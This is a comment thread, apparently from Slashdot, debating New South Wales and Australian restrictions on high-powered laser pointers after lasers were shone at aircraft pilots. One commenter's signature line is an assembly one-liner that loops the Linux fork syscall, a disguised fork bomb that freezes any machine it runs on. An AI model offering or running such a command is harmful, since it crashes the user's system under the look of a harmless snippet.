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Laser Pointers Classed as Weapons in Australia
An anonymous reader was the first to point to an article in the Sydney Morning Herald which says that New South Wales (of which Sydney is the capital) will prohibit the possession of certain types of laser pointers, defining them as weapons, and make it an offense to carry any laser pointer "without a lawful reason." (Similar coverage at news.com.au) Western Australia apparently beat NSW to the punch, and the federal government of Australia announced earlier this month it will treat laser pointers much like firearms, which, in Australia, is really saying something. The restrictions come as a reaction to incidents (not confined to Australia) in which the lasers were trained on planes, distracting pilots.
They aren't banning class 1 laser pointers (won't cause eye damage) or class 2 laser pointers (your natural blink reflex should be sufficient to protect you from eye damage). They're only banning high powered class 3 and 4 laser pointers (may cause eye damage and need to use eye protection). Most laser pointers are class 2. To be honest, I think this is a good thing. The less idiots with potentially dangerous lasers, the better. A class 2 laser is good enough for most people, and if you really need a bigger one (i.e. not just to compensate for your small breasts/penis), you can get a permit.
Here's what a 5mW laser looks like to a pilot.
http://www.pangolin.com/faa/laser-aircraft-animation-and-explanation.htm
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's illegal to have headlights above a certain brightness level, or perhaps it's above a certain number of lights - but there are light configurations you can put on a car that will get you pulled over if you have them on for street driving.
Now it's not illegal to have said lights mounted, so that's the point where the car analogy breaks (as they always do). But it does show your point is not as ridiculous as you had thought, because having really bright beams pointed at traffic is in fact a valid safety issue.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
There have been half a dozen or so such incidents in Australia in the last few months, including one which involved coordinated beams from multiple locations directed at the same plane.
E.g.:
http://www.abc.net.au/news/stories/2008/04/08/2211257.htm
http://www.abc.net.au/news/stories/2008/04/11/2214689.htm
http://www.abc.net.au/news/stories/2008/03/29/2202704.htm
As an Australian who flies quite a lot, I'm extremely happy for them to ban these things if it stops morons from blinding my pilot on final approach. The fact that there have been coordinated attacks is also evidence that it is more than an incidental problem.
Read Pynchon.
Supposedly at those sorts of instances, the laser has spread out over the windscreen and flashes the entire cockpit.
As far as I am aware, the pilots themselves have reported this so I assume they think it's bad.
Yes, there have been numerous examples of this happening: http://www.abc.net.au/news/stories/2008/04/11/2214689.htm
Most incidents take place on landing or takeoff. Green lasers also being notoriously good at remaining focused enough for the several hundred meters needed to completely blind a pilot at night.
Flamebait? Sounds like he's being positively reasonable to me!
XML is like violence. If it doesn't solve the problem, use more.
http://en.wikipedia.org/wiki/Free_speech_zones
Do some basic research before you act like a prick in future
Ironically, that is the tactic the Southern "slave power" used to silence Abolitionists in the 1840s-60s. They even passed a resolution in the U.S. Congress forbidding the introduction of anti-slavery laws, much to the chagrin of John Quincy Adams who insisted he has a right to free speech. Mr. Adams kept trying to introduce new laws, but the Southern Congressmen would shout him down, and accuse him of violating Congressional rules.
What better way to maintain slavery than to silence the critics.
The issue was ultimately resolved with a war. The Abolitionists may have lost their right to free speech, but they won the final battle. Are we repeating the same mistakes as our ancestors by forbidding people from expressing their views?
The government is not your daddy. Its purpose is not to raid middle-class neighbors' wallets and give it to you.
>>>"Also sounds pointless, since the President isn't bound by Congressional Resolutions."
You know that saying about "assuming" things? Yeah, well you're guilty of it. (wink). John Quincy Adams was a Congressman at the time (not president), and therefore forbidden from introducing legislation to curb or lesson slavery. The Southern "slave power" had effectively taken control of Congress and forbidden free speech.
>>>"They had Free Speech too, and could use it to shout down people they disagree with"
Disagree. In a civil society, you show people the same courtesy you expect to receive. i.e. You shut your mouth and listen, just as they patiently listened to your ideas one hour earlier. To allow yourself freedom to speak, while denying others, is dishonorable.
The government is not your daddy. Its purpose is not to raid middle-class neighbors' wallets and give it to you.
They are not going to ban all laser pointers. They are going to ban laser pointers above Class 2; unless you have a good reason to have one (which includes astronomy). Lasers over Class 2 can cause permanent damage to your retina faster than your blink response can save you (by definition). Having spoken to police officers who had one shone at them in a helicopter by some dumb kid who didn't know any better I support the ban. There, I've said it. Let the abuse and "freedom" related ranting begin.
That's bullshit. Laser pointers have a few mW power (more powerful lasers are already regulated); they don't cause blindness even at short range, let alone at a distance of hundreds of feet when pointed at a moving plane with a pilot with normal blink reflexes. You really have to work hard to produce any kind of damage with a laser pointer.
http://www.mayoclinic.org/news2005-rst/2800.html